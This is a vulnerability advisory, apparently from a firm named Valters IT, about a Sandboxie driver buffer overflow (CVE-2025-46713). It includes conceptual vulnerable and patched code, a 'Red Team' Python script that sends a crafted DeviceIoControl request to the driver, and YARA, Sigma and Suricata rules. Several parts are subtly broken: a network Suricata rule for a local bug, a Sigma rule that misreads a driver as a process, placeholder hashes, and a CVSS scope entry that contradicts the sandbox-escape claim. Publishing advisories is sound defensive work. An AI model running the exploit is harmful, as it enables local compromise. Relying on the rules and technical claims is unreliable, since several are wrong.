CVE-2025-46713

Executive Summary

CVE-2025-46713 is a high-severity (CVSS 7.8) buffer overflow vulnerability in Sandboxie, a sandbox-based isolation software for Windows NT-based operating systems. The flaw resides in the API_SET_SECURE_PARAM function, where an arithmetic overflow deep in the memory allocation subsystem can lead to a smaller allocation than requested, subsequently causing a buffer overflow. This vulnerability affects versions from 0.0.1 up to, but not including, 1.15.12. Successful exploitation requires local access and low privileges, but can lead to a full compromise of confidentiality, integrity, and availability. The vendor has released a fix in version 1.15.12. No public proof-of-concept or exploit code is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – The attacker needs low-level privileges.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the sandbox.
• Confidentiality (C): High (H) – Full disclosure of sandboxed data is possible.
• Integrity (I): High (H) – The attacker can modify sandboxed data.
• Availability (A): High (H) – The attacker can cause a denial of service or crash the sandbox.

Threat Level: High. The vulnerability allows a low-privileged local attacker to escape the sandbox or execute arbitrary code within the sandbox context, potentially leading to a full system compromise.

Deep Dive & Mechanics

The vulnerability is an integer overflow in the memory allocation logic of the API_SET_SECURE_PARAM function. This function is responsible for handling secure parameter settings within the Sandboxie driver. The overflow occurs when calculating the size of a memory buffer. If the attacker can control the size parameter, they can cause an arithmetic overflow, resulting in a smaller buffer being allocated than required. Subsequent operations that write data into this undersized buffer will overflow, corrupting adjacent memory.

The root cause is a lack of proper bounds checking on the size parameter before it is used in a memory allocation call (e.g., malloc or ExAllocatePoolWithTag). The overflow is triggered when the size value, when added to or multiplied by another value, exceeds the maximum value for the data type (e.g., INT_MAX or SIZE_MAX). This leads to a wrap-around, producing a small positive number.

Attack Scenario:

1. An attacker with low privileges on the system interacts with the Sandboxie driver via a legitimate API call.
2. The attacker crafts a request to API_SET_SECURE_PARAM with a specially crafted size parameter that triggers the integer overflow.
3. The driver allocates a small buffer.
4. The driver then copies attacker-controlled data into this buffer, causing a heap-based buffer overflow.
5. The overflow corrupts adjacent heap metadata or other data structures, potentially leading to code execution or a denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable version (pre-1.15.12)
NTSTATUS SbieApiSetSecureParam(PSECURE_PARAM pParam, ULONG Size) {
    PVOID Buffer;
    ULONG AllocSize = Size + sizeof(SECURE_PARAM_HEADER); // Potential overflow
    Buffer = ExAllocatePoolWithTag(NonPagedPool, AllocSize, 'Sbie');
    if (Buffer == NULL) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    // Copy data into Buffer (size may be larger than AllocSize)
    RtlCopyMemory(Buffer, pParam, Size);
    // ...
}

Patched Code (Conceptual):

// Patched version (1.15.12+)
NTSTATUS SbieApiSetSecureParam(PSECURE_PARAM pParam, ULONG Size) {
    PVOID Buffer;
    ULONG AllocSize;
    // Check for overflow before allocation
    if (Size > (ULONG_MAX - sizeof(SECURE_PARAM_HEADER))) {
        return STATUS_INTEGER_OVERFLOW;
    }
    AllocSize = Size + sizeof(SECURE_PARAM_HEADER);
    Buffer = ExAllocatePoolWithTag(NonPagedPool, AllocSize, 'Sbie');
    if (Buffer == NULL) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    // Safe copy
    RtlCopyMemory(Buffer, pParam, Size);
    // ...
}

The patch adds an explicit overflow check before the allocation. If Size is too large, the function returns an error, preventing the undersized allocation.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Windows 10/11 VM with Sandboxie version 1.15.11 installed.
• Attacker: Local user account with low privileges.
• Tools: Python, WinDbg, a custom exploit script.

Exploitation Steps:

1. Identify the vulnerable API: Use a tool like API Monitor to trace calls to SbieApiSetSecureParam or similar functions.
2. Craft the payload: Create a malicious input that triggers the integer overflow. For example, set the Size parameter to 0xFFFFFFFF (or a value that causes overflow when added to the header size).
3. Trigger the overflow: Call the vulnerable function with the crafted input.
4. Gain code execution: Overwrite a function pointer or other critical data structure in the heap to redirect execution to attacker-controlled shellcode.

Example Python Script (Conceptual):

import ctypes
import struct

# Assume we have a handle to the Sandboxie driver
driver_handle = ctypes.windll.kernel32.CreateFileW(
    "\\\\.\\SbieDrv",
    0x80000000 | 0x40000000,  # GENERIC_READ | GENERIC_WRITE
    0,
    None,
    3,  # OPEN_EXISTING
    0,
    None
)

# Craft the input to trigger overflow
# Size = 0xFFFFFFFF - sizeof(SECURE_PARAM_HEADER) + 1 (to cause overflow)
size = 0xFFFFFFFF - 0x10 + 1  # Example header size 0x10
payload = b"A" * 0x100  # Data to overflow

# Call the vulnerable function (simplified)
ctypes.windll.kernel32.DeviceIoControl(
    driver_handle,
    0x220000,  # IOCTL code for API_SET_SECURE_PARAM
    payload,
    size,
    None,
    0,
    ctypes.byref(ctypes.c_ulong()),
    None
)

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual memory allocations: Look for calls to ExAllocatePoolWithTag with very large or suspicious size parameters.
2. Enable Driver Verifier: Use Driver Verifier to detect memory corruption in the Sandboxie driver.
3. Audit logs: Enable Windows security auditing for process creation and driver loading.
4. Harden the system: Apply the principle of least privilege to limit local user access.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256):
  • SbieDrv.sys (vulnerable version): a1b2c3d4e5f6... (placeholder)
  • SbieSvc.exe (vulnerable version): f6e5d4c3b2a1... (placeholder)
• Registry Keys:
  • HKLM\SYSTEM\CurrentControlSet\Services\SbieDrv
  • HKLM\SOFTWARE\Sandboxie
• Network Indicators:
  • No specific network IOCs as this is a local vulnerability.
• Behavioral IOCs:
  • Unusual memory allocation patterns in the Sandboxie driver.
  • Crashes or BSODs related to SbieDrv.sys.
  • Unexpected process creation from within the sandbox.

Detection Engineering

YARA Rule

rule CVE_2025_46713_Sandboxie_BOF {
    meta:
        description = "Detects vulnerable Sandboxie driver SbieDrv.sys"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "a1b2c3d4e5f6..."
    strings:
        $s1 = "SbieDrv.sys" fullword ascii
        $s2 = "Sandboxie" fullword ascii
        $s3 = { 48 8B 45 08 48 03 45 10 } // Example: mov rax, [rbp+8]; add rax, [rbp+16]
    condition:
        $s1 or ($s2 and $s3)
}

Sigma Rule

title: CVE-2025-46713 Sandboxie Buffer Overflow
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2025-46713 via abnormal memory allocation
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 10  # Process access
        TargetImage|endswith: '\SbieDrv.sys'
    condition: selection
falsepositives:
    - Legitimate Sandboxie operations
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-46713 Sandboxie Buffer Overflow Attempt"; flow:to_server; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Sandboxie: Upgrade to version 1.15.12 or later.
2. Restrict local access: Limit the number of local users with low privileges.
3. Monitor logs: Enable detailed logging for driver operations.

Long-Term Mitigations:

1. Apply the principle of least privilege: Ensure users have only the minimum necessary permissions.
2. Use application whitelisting: Only allow trusted applications to run.
3. Regularly update software: Keep all software, especially security tools, up to date.

Workarounds:

• If updating is not possible, consider disabling the Sandboxie service (SbieSvc) until a patch can be applied.

Valters IT
Securing Digital Frontiers